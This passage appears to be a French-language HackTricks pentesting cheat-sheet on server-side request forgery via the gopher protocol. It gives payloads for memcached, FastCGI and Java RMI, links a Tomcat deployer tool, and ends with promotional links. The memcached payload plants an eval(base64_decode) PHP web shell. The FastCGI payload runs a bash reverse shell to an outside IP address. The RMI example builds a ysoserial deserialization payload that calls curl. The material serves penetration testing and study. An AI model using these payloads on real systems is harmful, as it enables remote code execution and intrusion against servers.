gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
```
## Apache Tomcat

**Ports couramment utilisés : 80, 443 (SSL), 8080, 8443 (SSL)**

Efficace uniquement contre Tomcat 6 :

[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)

Rédaction d'un CTF utilisant cette technique :

[De XXE à RCE : Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)

## FastCGI

**Ports couramment utilisés : 80, 443 (SSL)**

Cela a été pris à partir de [ici](https://blog.chaitin.cn/gopher-attack-surfaces/).
```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
```
## Java RMI

**Ports couramment liés : 1090, 1098, 1099, 1199, 4443-4446, 8999-9010, 9999**

Les vulnérabilités _SSRF_ aveugles qui permettent l'utilisation d'octets arbitraires (basées sur _gopher_) peuvent être utilisées pour effectuer des attaques de désérialisation ou de codebase sur les composants par défaut de _Java RMI_ (registre RMI, collecteur de déchets distribué, système d'activation). Un compte rendu détaillé peut être trouvé [ici](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). L'exemple suivant montre la génération de la charge utile :
```
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
```
<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>